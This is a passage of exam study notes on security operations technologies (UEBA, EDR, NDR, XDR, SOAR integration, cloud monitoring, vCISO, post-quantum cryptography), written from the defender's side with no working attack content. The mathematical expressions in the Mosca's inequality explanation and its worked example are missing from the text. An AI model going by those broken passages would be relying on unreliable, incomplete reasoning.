| Service account misuse | an interactive login by an account meant only for software |
| SIEM correlation rules | UEBA | |
|---|---|---|
| Finds | known patterns, written in advance | the unusual, even if never seen before |
| Threshold | fixed, the same for everyone | dynamic, per user and per peer group |
| Weakness | blind to valid credentials misused | needs a learning period; an anomaly is not proof |
Limits. The baseline takes weeks to learn, and an attacker already inside during that time becomes part of "normal". A new project, travel or a change of role produces false positives. Scores from machine learning can be hard to explain. And watching employees this closely must follow the organization's policy and privacy law (chapter 8).
How it enhances the posture:
- Insider threats: UEBA is particularly effective at identifying them. A traditional SIEM may not flag a user with valid credentials; UEBA flags the behavior, whether a malicious insider's or an attacker's using compromised insider credentials, even when it mimics authorized traffic.
- Context for the SIEM: it is often integrated with the SIEM to add behavioral context and risk scores to its alerts, turning noisy alerts into a few high-risk entities and cutting false positives.
- Priorities: the SOC works the riskiest users and devices first.
- Explain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture? 2082 Bhadra Q4 · 10
- Discuss the role of multiple emerging technologies (eg., SIEM, SOAR, UEBA, EDR, XDR) in security operations environment. Highlight key features and functionalities and how they enhance an organization’s ability to enhance cybersecurity posture. Class notes, ch 5 Q1
- What is User and Entity Behavior Analytics (UEBA)? Explain how UEBA builds a behavioral baseline and scores risk, and why it can detect insider threats and compromised accounts that rule-based correlation misses. Predicted, ch 5 Q3 · 4+6
5.5EDR, and NDR beside it
EDR: seeing and stopping attacks on the endpoint HOT 1/4
82 Bh10
Why it emerged. Signature-based antivirus could not catch fileless malware or living-off-the-land techniques, where the attacker uses tools already on the machine: PowerShell, WMI, PsExec. With no malicious file, there is nothing for a scanner to match. Ransomware (chapter 2) added speed: a whole file server can be encrypted in the time an analyst takes to notice.
To remember it: antivirus is the gate guard who checks faces against a wanted list; EDR watches what each visitor does inside. A thief on no list walks past the guard, but the watcher sees which drawers he opens and in what order (the process tree), and can lock the room with him inside (isolate the host).
Its role (the class notes): deep, granular visibility and response directly on the endpoints. How it works, under the four features the notes name, plus hunting:
- Behavioral recording (the agent): a small program on each host records and stores system-level behavior and telemetry, not just known-bad signatures: process starts with their command lines and parents, file writes and renames, registry changes, network connections per process, logons and loaded drivers.
- Suspicious activity detection (central analytics): the telemetry streams to a console, usually in the cloud, where behavioral rules (indicators of attack), indicators of compromise, machine learning and threat intelligence judge it; detections are mapped to MITRE ATT&CK.
- Investigation: forensic analysis of exactly what happened on a compromised machine. The full process tree and timeline of the attack, rebuilt from the recording, make it fast and accurate.
- Incident containment (response): its primary capability, to contain the incident at the endpoint. Isolate the host from the network so malware cannot spread (it keeps talking only to the console), kill a process, quarantine or delete a file, remove persistence, block a hash across the fleet, collect forensic data or open a remote shell; some products can roll back files encrypted by ransomware.
- Hunting: query the recorded history of every endpoint, the way the deck's osquery example asks "on which hosts did Word start PowerShell?".
Worked example (the deck's lateral movement scenario). A user opens a document:
winword.exe starts powershell.exe with an encoded command, which downloads a
payload; PowerShell then starts PsExec.exe and reaches two servers the account has never
touched.
What each tool sees. Antivirus sees no known bad file. EDR sees a word processor spawning a shell, an abnormal parent and child chain, and raises an alert carrying the whole tree. The analyst isolates the laptop in seconds, not hours, forces a credential reset and escalates to incident response.
No console switching. In the deck's EDR product (GuardSix AgentX) that isolate-host action runs directly from the detection itself: the analyst who reads the alert contains the host from the same screen.
| Traditional antivirus (EPP) | EDR | |
|---|---|---|
| Question asked | Is this file known bad? | Is this behavior normal? |
| Method | signatures and heuristics on files | behavior analytics on recorded telemetry |
| Focus | prevention at the moment of execution | detection, investigation and response, before and after |
| Fileless attacks | mostly missed | seen through process behavior |
| Memory of events | a verdict, then nothing | a searchable history for investigation and hunting |
| Response | quarantine the file | isolate the host, kill, remove, roll back, hunt |
Most products now ship both in one agent: antivirus to block the known, EDR to catch the rest. Organizations without a round-the-clock SOC often buy MDR (managed detection and response), in which a provider watches their EDR for them.
Limits. No agent, no visibility: unmanaged devices, IoT, OT and legacy systems are blind spots. EDR sees one host at a time, with little network context. Attackers try to switch it off, for example by loading a vulnerable driver to kill the agent. And its alerts still need skilled triage.
How it enhances the posture (the deck: "visibility and control at the last line of defense"):
- Last line of defense: it works on the asset itself, where the attack finally runs.
- Beyond antivirus: antivirus is purely preventative; EDR adds detection, investigation and, above all, response.
- Containment: it stops an attack in progress and holds ransomware before it spreads.
- The whole story: investigators get the full process tree and timeline.
- Explain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture? 2082 Bhadra Q4 · 10
- Discuss the role of multiple emerging technologies (eg., SIEM, SOAR, UEBA, EDR, XDR) in security operations environment. Highlight key features and functionalities and how they enhance an organization’s ability to enhance cybersecurity posture. Class notes, ch 5 Q1
- What is Endpoint Detection and Response (EDR), and how does it differ from traditional antivirus? Differentiate between EDR and XDR with an example of an attack that XDR detects but a single EDR tool would miss. Predicted, ch 5 Q4 · 4+6
NDR: watching the network every attacker must cross PREDICTED
Why it is needed. The deck introduces NDR as "when you need more than a SIEM". Attackers who evade EDR by working from unmanaged devices, IoT, OT or legacy systems still have to move across the network, and NDR sees that movement without any agent. A compromised host can lie about itself; its traffic cannot.
Beyond the payload. The deck adds that NDR detects encrypted and living-off-the-land activity (an attacker using admin tools already on the machines, such as PsExec or RDP) through behavior and metadata, not by inspecting payloads alone, and so closes the visibility gap between what endpoint tools report and the network's reality.
To remember it: a hostel's Wi-Fi router is where NDR would sit. No warden can put an agent on forty phones, but all their traffic crosses the router: a phone calling one unknown address every 60 seconds all night is beaconing, and an unknown device probing the other rooms at 2 a.m. is a rogue device.
| Direction | Meaning | Example |
|---|---|---|
| North-south | traffic in and out of the network, across the perimeter | a laptop calling a server on the internet |
| East-west | traffic inside the network, device to device | a workstation opening file shares on ten servers |
How it collects. Sensors receive a copy of the traffic from a switch's mirror (SPAN) port or a network tap at the internet edge, the core and the data center. Flow records (NetFlow, IPFIX) summarize who talked to whom and how much, and tools such as Zeek turn packets into metadata logs of DNS, HTTP and TLS. In the cloud, traffic mirroring and flow logs take the place of the tap.
How it detects:
- Behavioral baselines: which hosts normally talk to which, on what ports and in what volumes.
- Beaconing: malware calling its command and control server at regular intervals, say every 60 seconds with little variation.
- DNS tunneling: data hidden in thousands of long, random-looking subdomain queries to one domain.
- Lateral movement: SMB, RDP or remote management between workstations that never talk to each other.
- Exfiltration: unusual volumes leaving the network, often at night.
- Encrypted traffic analysis: without decrypting anything, it reads the metadata: TLS fingerprints (such as JA3), odd certificates, packet sizes and timing. Encryption hides the content, not the behavior.
Worked example (the deck's DNS tunneling hunt). Anomaly detection flags one host sending thousands of long, high-entropy subdomain queries to a single domain. Flow records show a steady stream of small outbound packets from the same host, consistent with tunneling.
The inference: the host is exfiltrating data through DNS to dodge the egress controls. The response: block the domain, isolate the host, and inspect it for the tunneling tool.
Use cases (the deck): DNS tunneling or command and control beaconing hidden in encrypted traffic; lateral movement between servers that carry no EDR agent; an unmanaged or rogue device flagged the moment it starts talking on the network.
The deck's NDR screen has two halves, which are the D and the R of NDR:
- AI Detect, the detection half:
- Notifications ranked by severity: 8 high, 6 medium and 3 low on the slide, sortable by the host with most notifications, the source host or the destination host.
- Chains of events laid along the stages of the kill chain (below).
- Network assets: a live inventory; 724 tracked, all 724 active in the last 24 hours, none newly discovered.
- Settings: notification rules, the network configuration, and a search over the stored data.
- AI Prevent, the response half: it had blocked 1,149 threats by itself.
The asset tile is a use case. A jump in newly discovered assets is the rogue device the slide's third use case describes, caught on one counter.
NDR and IDS. An intrusion detection system matches signatures, usually at the perimeter. NDR grew out of it and out of network traffic analysis (NTA): it is behavioral, it watches inside the network as well as at the edge, and it keeps metadata for later investigation.
Limits. It cannot see inside an endpoint (which process sent the packet); encrypted payloads stay hidden; remote workers and cloud traffic may never cross a sensor; behavior on the wire is ambiguous without host context, so it raises more false alarms; and full-speed capture and storage cost money.
How it enhances the posture: agentless coverage of what EDR cannot reach, early sight of lateral movement and exfiltration, a live asset inventory, automatic blocking, and an independent source of truth when a host has been compromised.
- What is Network Detection and Response (NDR)? Explain how NDR detects threats in east-west and encrypted traffic, and why it is needed alongside EDR, with suitable use cases. Predicted, ch 5 Q5 · 4+6
5.6XDR
XDR: one incident across endpoint, network, email, cloud and identity HOT 1/4
82 Bh10
Why it emerged. EDR, network detection, email security and cloud tools ran as disconnected silos with no shared context. An analyst chasing one attack pivoted between five consoles, and a multi-stage attack showed up as five unrelated medium alerts. The term is usually credited to Nir Zuk of Palo Alto Networks, in 2018.
Its role (the class notes): the evolution of EDR, extending detection and response beyond the endpoints into a single, unified security platform. How it works, the notes' two features first:
- Data consolidation: data unified from many sources, not just endpoints: email, cloud, identity (IAM), the network (firewall, NTA, IPS) and the endpoints (EDR), each through its own sensor or connector.
- One data lake with one schema, so an address or a user means the same thing everywhere.
- Cross-platform correlation: analytics stitch the alerts together in that data lake by the entities they share (user, host, address, file hash) and by time, and map them to ATT&CK stages, giving a complete picture of the attack chain.
- One incident: a single, prioritized case with the whole attack on one timeline. The deck's product joins four separate signals into one case in under two minutes.
- Response in every layer: quarantine the email, reset the account, isolate the host, block the address, all from the same screen.
Worked example: one attack crossing five layers.
- Email: a phishing email delivers a link.
- Identity: the user types a password into a fake page, and the account signs in from a new country.
- Endpoint: the attacker's macro starts PowerShell on the laptop.
- Network: the laptop opens SMB sessions to a file server.
- Cloud: gigabytes go to an unknown cloud storage site.
What each sees. EDR alone sees one suspicious process on one host. XDR sees one user, one host and one hour tying the five events together, raises a single high-severity incident, and contains it everywhere at once.
To remember it: five office witnesses each saw one odd thing: a strange letter, a visitor on a borrowed ID card, someone at the wrong desk, a stranger in the records room, a carton leaving by the back gate. Alone each sounds minor; the inspector who lays the five side by side sees one theft and seals every door. EDR is one witness, XDR the inspector.
| EDR | XDR | |
|---|---|---|
| Scope | endpoints only | endpoint, network, email, cloud, identity |
| Data | host telemetry | telemetry from every layer in one store |
| View of an attack | the fragment on one host | the whole chain as one incident |
| Response | on the host: isolate, kill, remove | in every layer: host, mailbox, account, network |
| Consoles | one per tool | one |
| Relationship | a component | EDR extended to the other layers |
Native and open XDR. Native (closed) XDR joins one vendor's own sensors, tightly and with little setup. Open (hybrid) XDR takes in other vendors' tools through APIs: more flexible, more integration work.
| SIEM | XDR | |
|---|---|---|
| Center of gravity | logs, from any vendor | security telemetry, mostly from its own vendor |
| Detections | written and tuned by the SOC | built in and pre-tuned |
| Retention and compliance | long, with reports | shorter, weaker on reports |
| Setup | long onboarding and tuning | quick, content ready out of the box |
Usually both. Compliance and long retention pull toward a SIEM; speed of detection pulls toward XDR, so many SOCs run both, with XDR incidents flowing into the SIEM. SOAR still earns its place: XDR responds inside its own ecosystem, while SOAR orchestrates any tool with an API.
Limits. Vendor lock-in; weaker coverage of third-party data; a label used loosely in marketing; and it still needs skilled analysts.
How it enhances the posture:
- Simplifies operations: instead of jumping between five tools (EDR, email gateway, network console and the rest), the analyst sees the entire attack on one platform, from the first phishing email to lateral movement on the network and data exfiltration from the cloud (the class notes).
- Earlier detection: multi-stage attacks are caught across layers before any single tool sees the whole picture.
- Better alerts: fewer, higher-fidelity incidents in place of many fragments.
- One coordinated response in every layer at once.
- Explain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture? 2082 Bhadra Q4 · 10
- Discuss the role of multiple emerging technologies (eg., SIEM, SOAR, UEBA, EDR, XDR) in security operations environment. Highlight key features and functionalities and how they enhance an organization’s ability to enhance cybersecurity posture. Class notes, ch 5 Q1
- What is Endpoint Detection and Response (EDR), and how does it differ from traditional antivirus? Differentiate between EDR and XDR with an example of an attack that XDR detects but a single EDR tool would miss. Predicted, ch 5 Q4 · 4+6
5.7Use cases and integration
The SOC visibility triad: logs, endpoints and the network TOP 2/4
82 int · 81 Bh10
Where the idea comes from. Gartner analyst Anton Chuvakin coined it in 2015, while working on a Gartner paper about SOCs, as the "SOC nuclear triad". A Cold War nuclear triad (bombers, land-based missiles and submarines) could lose any one leg and still strike back; a SOC with log, endpoint and network visibility can lose any one view and still see the attacker.
The name today. It became known as the SOC visibility triad, and its network leg, first called network traffic analysis (NTA), is now NDR.
| Component | What it sees | Its blind spot |
|---|---|---|
| SIEM (logs) | network, endpoint and data activity through logs and alerts; history; correlation across every source; compliance | only what is logged and forwarded; costly, complex and resource intensive; needs in-house expertise |
| EDR (endpoint) | processes, files, registry and memory on each host; the process tree; host isolation | no view of network traffic; agentless devices (IoT, OT, unmanaged, legacy) are invisible |
| NDR (network) | north-south and east-west traffic, around the clock, with no agent; rogue devices | no view inside the endpoint; encrypted payloads; more false alarms |
To remember it: an exam hall is watched three ways: the attendance sheet (logs, SIEM) says who signed in, the invigilator walking the rows (EDR) sees what each student does at the desk, and the corridor CCTV (NDR) sees who moves between halls. To cheat unseen, a student has to beat all three.
Why integrating them beats any one alone:
- Complementary blind spots. EDR cannot see the wire, NDR cannot see the process, and the SIEM sees only what was sent to it. Together they leave no layer dark.
- Corroboration. An event that is ambiguous in one view is obvious in three. A new outbound connection means little alone; add the process tree showing Word started PowerShell, and the log showing the account has never used this host, and it is plainly one intrusion.
- It survives evasion. An attacker who kills the EDR agent still has to talk on the network, and the SIEM notices the agent stop reporting; one who wipes the logs was already recorded by EDR and NDR; one who works from an unmanaged device is seen by NDR.
- Fewer false positives. NDR alone raises more false alarms; host and identity context separates a real attack from odd but harmless traffic.
- Faster, complete investigation. The analyst gets who (logs), what ran (endpoint) and where it went (network) at once, across every stage of the kill chain.
Worked example. An attacker logs in with a stolen VPN password at 2 a.m. from a new country (the SIEM sees the VPN and directory logs), runs a credential-dumping tool on the laptop (EDR sees the process), then moves to a server with no agent and starts beaconing every minute (NDR sees the traffic). Each alone is a medium alert; correlated, they are one confirmed intrusion.
The deck's fourth node. Chapter 4's deck draws the same picture with a fourth corner, data and application security: required for critical assets, with no view of the network or the endpoints, and more overhead and complexity. Treat the triad as the minimum, not the ceiling. UEBA works on the log leg's data, and XDR is one product that implements the triad natively.
- Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors? Describe SOC visibility triad in brief. 2082 internal Q4
- Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors? Describe SOC visibility triad in brief. 2081 Bhadra Q4 · 10
- What is the SOC Visibility Triad? Describe its three core components and explain why integrating them provides a more comprehensive security monitoring capability than using any single component alone. Notes prediction, ch 4 Q5 · 2+6
Integration and use cases: one loop from detection to response PREDICTED
Why integrate. Each tool alone is a partial view with its own console; the value appears when their data meets. The syllabus's own lab asks for exactly this: integrate SIEM, SOAR and EDR for advanced threat detection and response.
How the pieces connect:
- Data in: agents, syslog, APIs and cloud connectors bring every source into the SIEM or the XDR data store (chapter 4's pipeline).
- Context: threat intelligence feeds (commonly exchanged in STIX format over TAXII), the asset inventory, and identity and HR data.
- A common language: one normalized schema, and MITRE ATT&CK technique IDs on every detection, so tools and people describe an attack the same way.
- Actions out: SOAR calls each tool's API: isolate in the EDR, block on the firewall, disable in the directory, purge in the mail system, open a ticket.
- Feedback: each incident's lessons become new correlation rules, tuned UEBA baselines, better playbooks and new hunts (chapter 3).
The class notes' convergence, in four steps:
- EDR and XDR feed rich, high-context telemetry (system behaviors) to the SIEM.
- UEBA adds behavioral context and risk scores to the SIEM's alerts, cutting false positives.
- The SIEM correlates it all, identifies a high-fidelity threat and sends an alert to the SOAR platform.
- SOAR runs an automated playbook across the other tools: it tells the XDR to isolate the endpoint, the firewall to block the attacker's IP and the IAM tool to disable the user's account.
A closed loop: deep visibility (SIEM, EDR, XDR, UEBA) joined to automated action (SOAR) is how the notes say the ecosystem enhances the posture.
Worked integration, end to end:
- UEBA scores a finance account as risky: a 2 a.m. login from a new country and ten times its normal file access.
- EDR on that user's laptop shows Word starting PowerShell, then PsExec reaching two servers the account has never used.
- NDR shows one of those servers, which has no EDR agent, beaconing to an outside address every 60 seconds inside TLS.
- SIEM correlates the identity anomaly, the process chain and the beacon, enriches the address with threat intelligence, and finds it on a known command and control list.
- XDR presents all of it as one incident with one timeline, not four tickets in four consoles.
- SOAR runs the compromised-account playbook: disable the account, isolate both hosts, block the address, open the case, page the analyst. Seconds, not hours.
- Lessons: a new rule for PowerShell started by Office programs, and an agent for the server that had none.
| Use case | Detect | Correlate and decide | Automated response |
|---|---|---|---|
| Phishing | email gateway, user report | SOAR enrichment, sandbox | purge mailboxes, block the URL, reset the passwords of users who clicked |
| Ransomware | EDR: mass file renames, backups deleted | SIEM, with NDR showing the SMB spread | isolate hosts, disable the account, block C2, restore |
| Compromised account | UEBA: impossible travel, a new device | SIEM with identity logs | revoke sessions, reset the password, re-enroll MFA |
| Insider data theft | UEBA volume spike, DLP upload | SIEM with the HR leavers list | restrict access, preserve evidence, HR and legal |
| Lateral movement | EDR process chain; NDR east-west SMB or RDP | XDR incident | isolate hosts, reset credentials |
| C2 beaconing, DNS tunneling | NDR | threat intelligence match in the SIEM | block the domain and address, isolate the host |
| Cloud account takeover | cloud audit logs: new keys, logging disabled | SIEM and UEBA | revoke keys, lock the account, snapshot |
| Compliance | SIEM retention | scheduled reports | evidence for the auditors |
A Nepali case. In October 2017, during the Tihar holidays, attackers used NIC Asia Bank's SWIFT server to send fraudulent transfers of about 4.4 million US dollars to accounts in six countries; most of it was recovered with Nepal Rastra Bank's help (reported by the Kathmandu Post and BankInfoSecurity).
The lesson for integration. Payment messages sent on a holiday, to new beneficiaries, in volumes that server never sends, are exactly the anomaly that UEBA baselines and SIEM rules on payment systems exist to flag, and a SOAR playbook can hold high-value transfers until someone calls the bank back.
Benefits of integration: full coverage, higher-fidelity alerts, faster response, consistent handling, analysts freed for hunting, measurable MTTD and MTTR, and compliance evidence.
Challenges:
- Cost and tool sprawl: licenses, storage and people for every product.
- Integration effort: connectors, parsers and APIs break when products change.
- Data quality: missing sources, wrong clocks and unparsed logs weaken correlation.
- Alert fatigue: badly tuned tools multiply the noise instead of cutting it.
- Skills shortage: engineers who can build and run all of this are scarce.
- Automation risk: a false positive acted on at machine speed.
- Lock-in and privacy: single-vendor XDR limits choice, and UEBA's monitoring of staff must respect policy and law.
Doing it well: start from use cases, not products; map the detections to ATT&CK to find the gaps; roll out in phases; keep human approval on disruptive actions; measure; and buy managed services (an MSSP or MDR) where people are short.
- Explain, with a suitable use case, how SIEM, UEBA, EDR, NDR, XDR and SOAR can be integrated into a single detection and response workflow. What challenges does an organization face while integrating these technologies? Predicted, ch 5 Q6 · 6+4
Security monitoring in the cloud PREDICTED
The shared responsibility model. The provider secures the cloud itself (data centers, hardware, the virtualization layer, its own services); the customer secures what it puts in the cloud (identities, data, configuration, workloads). Where the line falls depends on the service model:
| Model | Provider secures | Customer secures and monitors |
|---|---|---|
| IaaS (virtual machines) | facilities, hardware, hypervisor | operating system, applications, network rules, identities, data |
| PaaS (managed platforms) | also the operating system and runtime | applications, identities, data, configuration |
| SaaS (software as a service) | almost everything | users, access, data, settings |
The deck's warning: the provider secures the infrastructure layer and logs some of it, but the customer must enable, forward and review the rest, and many do not.
To remember it: renting a hostel room. The owner looks after the building, gate and wiring; locking your room, cupboard and laptop is your job, and the gate register (the provider's audit log) catches nobody unless someone reads it. IaaS is an empty room, SaaS a furnished one with a cleaner: less to secure, never nothing.
Where the logs are (the deck's approaches):
- Control-plane audit logs: AWS CloudTrail, Azure Activity Log, Google Cloud Audit Logs. They record every API call made against the account itself (who created a user, opened a port, switched logging off), which is where account takeover shows.
- Cloud-native log services: Amazon CloudWatch, Azure Monitor and Log Analytics, Google Cloud Logging, which capture workload and service logs before they reach a SIEM.
- Container and orchestration logs: Kubernetes audit logs, shipped by Fluentd, Fluent Bit or OpenTelemetry, because containers live for minutes and traditional agents cannot keep up.
- Posture and entitlement findings, forwarded into the SIEM as structured findings so that
misconfiguration can be correlated with activity:
- CSPM (cloud security posture management): public storage, open ports.
- CIEM (cloud infrastructure entitlement management): excessive permissions.
- CWPP (cloud workload protection): vulnerabilities and runtime threats in machines and containers.
- CNAPP: platforms sold as all three combined.
- Network and SaaS: the flow logs of virtual networks, the cloud's stand-in for a tap, and the audit logs of SaaS suites such as Microsoft 365.
Why it is harder than on premises (the deck's challenges):
- Volume and cost: the cloud can generate orders of magnitude more logs, and storage and egress charges grow with them, so deciding what not to collect becomes a security decision.
- Fragmented ownership: DevOps teams create resources on their own, and logging is not enabled or forwarded consistently. Nobody monitors a resource they do not know exists.
- No fixed perimeter: there is no single wire to tap the way NDR taps a switch; identity becomes the perimeter.
- Shared responsibility gaps: customers assume the provider watches what is theirs to watch.
- Ephemeral and multi-cloud: resources appear and vanish in minutes, and every provider logs in its own format.
Worked example. In 2019 an attacker used server-side request forgery through Capital One's misconfigured web application firewall on AWS to obtain an IAM role's temporary credentials, then listed and copied data from its storage buckets: records of about 100 million people in the United States and 6 million in Canada.
What the logs would show. Using the stolen credentials and listing the buckets are control-plane calls that CloudTrail records by default; reading individual objects is a data event that must be switched on, the "enable and forward" duty the deck describes. The monitoring answer: a rule for role credentials used from outside the company's servers, and a playbook to revoke them.
How the chapter's tools adapt:
- SIEM: cloud connectors, or a cloud-native SIEM such as Microsoft Sentinel.
- UEBA: cloud identities: impossible travel, unusual API calls.
- EDR and CWPP: agents on virtual machines and containers.
- NDR: flow logs and mirrored traffic.
- XDR: the cloud as one of its layers.
- SOAR: suits the cloud well, because every containment step (revoke a key, change a security group, snapshot a disk) is already an API call.
- Why is security monitoring harder in the cloud than on premises? Explain the approaches used to collect and monitor security logs in the cloud with reference to the shared responsibility model. Predicted, ch 5 Q7 · 4+6
5.8The virtual CISO
The virtual CISO: security leadership as a service PREDICTED
The role being shared. A CISO is the senior executive accountable for the security program: strategy, policy, risk (chapter 1), compliance, incident response, security operations, awareness, budget and reporting to the board. Every tool in this chapter needs someone at that level to decide what to buy, what to monitor and what the SOC should do.
Why organizations adopt it:
- Cost: a full-time senior security executive is beyond most small and medium organizations; a vCISO costs a fraction, for a set number of days a month.
- Talent shortage: experienced security leaders are scarce, especially outside big cities.
- Compliance pressure: regulators, customers and certifications (ISO/IEC 27001, PCI DSS) demand a governed security program. In Nepal, Nepal Rastra Bank's Cyber Resilience Guidelines (2023) expect the institutions it regulates to govern cyber risk, monitor for attacks and plan their response.
- Interim cover: between two CISOs, after a breach, or through a merger.
- Breadth and objectivity: a vCISO has seen many organizations and their incidents, and stands outside internal politics.
- Governance is now expected: NIST's Cybersecurity Framework 2.0 (2024) added Govern as a function beside identify, protect, detect, respond and recover.
To remember it: small firms keep no full-time accountant; they pay one who keeps several firms' books and comes in when the tax office calls. A vCISO is the same for security: picture a made-up 40-person Lalitpur software firm whose European client wants a security policy and an incident response plan; a vCISO, two days a month, writes both.
Services a vCISO provides:
| Service | What it involves |
|---|---|
| Strategy and roadmap | assess maturity against a framework (NIST CSF, ISO/IEC 27001), set priorities and a multi-year plan |
| Risk management | asset inventory, risk register, treatment decisions |
| Policy and governance | write and maintain the policy framework (chapter 7), define roles |
| Compliance and audit | prepare for certification and regulator audits, answer customer questionnaires |
| Incident readiness | incident response plan, playbooks, tabletop exercises, leadership during a real incident |
| Security operations oversight | choose the SIEM, the EDR or an MDR provider, set SOC metrics, manage the MSSP |
| Third-party risk | assess vendors and cloud providers |
| Awareness | training and phishing simulations |
| Reporting | risk and metrics to management and the board; the security budget |
Answers: “Describe the services a vCISO typically provides” (Predicted, ch 5 Q8). Nine services.
How it decodes: nine words, nine services, in the table’s order. Little Raju bites into chips, a cardamom pod and a sel roti at the shop, and runs crying to his mother.
- SSano Strategy and roadmap: maturity assessment, priorities, a multi-year plan
- RRaju Risk management: asset inventory, risk register, treatment
- PPasalma Policy and governance: the policy framework and the roles
- CChips Compliance and audit: certification and regulator audits, customer questionnaires
- IIlaichi Incident readiness: the IR plan, playbooks, tabletop exercises
- SSel Security operations oversight: choose the SIEM, EDR or MDR provider, set SOC metrics
- TTokera Third-party risk: vendors and cloud providers
- AAamasanga Awareness: training and phishing simulations
- RRuyo Reporting: risk, metrics and budget to the board
Engagement models: fractional (so many days or hours a month), retainer, project-based (for example, reaching ISO/IEC 27001 certification), or interim and full time for a period.
| Benefits | Limitations |
|---|---|
| far cheaper than a full-time executive | not always available at the moment of an incident |
| senior expertise from the first day | less knowledge of the business and its culture |
| flexible scope that scales up or down | accountability and liability must be written into the contract |
| an outside view, from experience of many firms | an outsider learns the organization's weaknesses, so it needs a confidentiality agreement and trust |
Making it work: a named internal owner who carries decisions between visits, a clear scope and response time for incidents, agreed metrics, and the access the vCISO needs. The same "as a service" idea runs through operations: an MSSP or an MDR provider runs the SOC's tools, and the vCISO is the leadership layer that directs them and holds them to account.
- What is a virtual Chief Information Security Officer (vCISO)? Why do small and medium organizations adopt the vCISO model? Describe the services a vCISO typically provides. Predicted, ch 5 Q8 · 2+4+4
5.9Post-quantum cryptography
Post-quantum cryptography: why vendors ship it before the quantum computer TOP 2/4
82 int · 81 Bh10
The threat, in two algorithms:
- Shor's algorithm (1994): on a large, fault-tolerant quantum computer it factors integers and computes discrete logarithms efficiently. That breaks RSA, Diffie-Hellman and elliptic curve cryptography: the key exchange and digital signatures behind TLS, VPNs, SSH, code signing and every certificate.
- Grover's algorithm (1996): only a square-root speed-up for brute-force search, which roughly halves the strength of a symmetric key or a hash. AES-128 falls to about 64-bit strength; AES-256 keeps about 128 bits and stays safe. So symmetric cryptography needs longer keys, while public-key cryptography needs replacing.
| Algorithm | Quantum impact | Action |
|---|---|---|
| RSA, Diffie-Hellman, ECDH, ECDSA | broken by Shor's algorithm | replace with ML-KEM and ML-DSA |
| AES-128 | weakened by Grover's algorithm | move to AES-256 |
| AES-256, SHA-256, SHA-384 | still adequate | keep |
How far away it is. No cryptographically relevant quantum computer (CRQC) exists yet. Today's machines have a few hundred to a few thousand noisy physical qubits, while published estimates of what it takes to break RSA-2048 have fallen from about 20 million noisy qubits (Gidney and Ekerå, 2019) to under a million (Gidney, 2025).
Nobody knows the date, and that uncertainty is itself a reason to act.
Why vendors already offer PQC:
- Harvest now, decrypt later. An adversary can record encrypted traffic today and store it; once a CRQC exists, the stored key exchanges fall and the data is read. Anything that must stay secret for years (state secrets, health records, intellectual property, financial and identity data) is exposed already, unless its key exchange is quantum-safe now.
- Mosca's inequality. Let be the years the data must stay secret, the years a migration takes, and the years until a CRQC. If , the organization is already late.
- Migration takes years. Every use of cryptography must first be found (a crypto inventory, or cryptographic bill of materials), then libraries, protocols, hardware security modules, smart cards, certificates and partners updated, and systems made crypto agile, able to swap algorithms. Past migrations, such as retiring SHA-1, took many years.
- Standards are final. NIST published FIPS 203 (ML-KEM, from CRYSTALS-Kyber), FIPS 204 (ML-DSA, from CRYSTALS-Dilithium) and FIPS 205 (SLH-DSA, from SPHINCS+) in August 2024, and chose HQC as a further, code-based key encapsulation mechanism in March 2025. Vendors can ship standard, certifiable products instead of experiments.
- Government deadlines. The US NSA's CNSA 2.0 suite (2022) sets deadlines for national security systems, with the whole transition due by 2035. NIST's draft transition plan (NIST IR 8547, November 2024) proposes deprecating quantum-vulnerable algorithms such as RSA and ECC after 2030 and disallowing them after 2035. Anyone who sells to governments needs compliant products now.
- Long-lived products. Firmware, vehicles, satellites, smart meters and identity cards shipped today will still be in service in the 2030s, and their roots of trust (such as firmware signing keys) cannot be swapped later, so they must be quantum-safe from birth.
- Cheap to start. A hybrid key exchange runs a classical exchange (in TLS, usually X25519) and ML-KEM together and is secure if either one holds, so it guards against a CRQC and against a flaw in the young algorithms, at a small cost in handshake size.
- Market demand. Compliance questionnaires ask for it, customers want it, "quantum-safe" is a selling point, and a vendor that waits is caught out if a breakthrough comes early.
Answers: “why do you think the PQC is already being offered by many vendors?” (2081 Bhadra and the 2082 internal, Q4). Eight reasons.
How it decodes: eight words, eight reasons, in the order of the list above. The hacker saves the mobile message, leaves his laptop in the car, and pees. The first clause is the threat itself: a message stored today, to be read later.
- HHackerle Harvest now, decrypt later: traffic recorded today, read once a CRQC exists. The hacker saving the message is exactly this
- MMobile Mosca's inequality: if , already late
- MMessage Migration takes years: crypto inventory, libraries, HSMs, certificates, partners
- SSaachyo Standards are final: FIPS 203, 204 and 205, August 2024
- GGaadimaa Government deadlines: CNSA 2.0 and NIST IR 8547, toward 2035
- LLaptop Long-lived products: firmware, vehicles, satellites, identity cards
- CChhodyo Cheap to start: a hybrid of X25519 and ML-KEM
- MMutyo Market demand: questionnaires, customers, "quantum-safe" sells
Worked Mosca check. A bank's customer records must stay confidential for 10 years (); moving its systems and partners to PQC will take 7 (); assume a CRQC in 15 ():
Records encrypted in the last two years of the migration would still need secrecy when they become breakable, so the bank must start now, with key exchange for its long-lived data first.
To remember it: picture someone recording a wallet app's encrypted traffic (eSewa, Khalti) today. Useless now, but the KYC details inside, a citizenship number and a date of birth, will still be valid in 2045; if a quantum computer comes first, the recording opens. A long shelf life, Mosca's , is what makes today's traffic the target.
Already shipping. Chrome turned hybrid post-quantum key exchange on by default in 2024, and Cloudflare offers it across its network; Signal added its PQXDH protocol in 2023, and Apple's iMessage added PQ3 in 2024; OpenSSH has used a hybrid post-quantum key exchange by default since version 9.0 (2022), and one built on ML-KEM since version 10.0 (2025).
The SOC's part. Build and keep the crypto inventory; watch traffic for legacy and quantum-vulnerable protocols; check that TLS inspection, proxies and NDR sensors handle the larger post-quantum handshakes (some older middleboxes failed when browsers first switched them on); ask vendors for their PQC roadmaps; and put the quantum threat in the risk register.
- Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors? Describe SOC visibility triad in brief. 2082 internal Q4
